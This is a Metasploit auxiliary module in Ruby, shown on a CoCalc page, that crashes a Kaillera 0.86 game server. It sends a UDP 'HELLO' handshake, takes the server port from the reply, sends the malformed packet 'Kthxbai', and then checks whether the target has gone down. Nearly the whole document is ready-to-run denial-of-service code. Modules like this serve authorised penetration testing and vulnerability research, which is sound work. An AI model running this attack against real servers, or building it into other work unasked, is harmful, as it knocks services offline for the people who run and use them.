CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Udp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
13
      'Description'    => %q{
14
          The Kaillera 0.86 server can be shut down by sending any malformed packet
15
        after the initial "hello" packet.
16
      },
17
      'Author'         => ["Sil3nt_Dre4m"],
18
      'License'        => MSF_LICENSE,
19
      'DisclosureDate' => '2011-07-02'))
20

21
    register_options([
22
      Opt::RPORT(27888)
23
    ])
24
  end
25

26
  def run
27
    # Send HELLO to target
28
    connect_udp
29
    print_status("Sending Crash request...")
30
    udp_sock.put("HELLO0.83\0")
31
    res = udp_sock.recvfrom(15)
32
    disconnect_udp
33

34
    if res[0] =~ /HELLOD00D([0-9]{1,5})/
35
      port = $1
36
    else print_error("Connection failed")
37
      return
38
    end
39

40
    # Send DOS packet
41
    connect_udp(global = true,'RPORT' => port)
42
    print_status("Sending DoS packet to #{rhost}:#{port}...")
43
    udp_sock.put("Kthxbai")
44
    disconnect_udp
45

46
    # Check is target is down
47
    connect_udp
48
    print_status("Checking target...")
49
    udp_sock.put("HELLO0.83\0")
50
    res = udp_sock.recvfrom(15)
51
    disconnect_udp
52

53
    if res[0] =~ /HELLO/
54
      print_error("DoS attempt failed.  It appears target is still up.")
55
    else
56
      print_good("Target is down")
57
    end
58
  end
59
end
60

61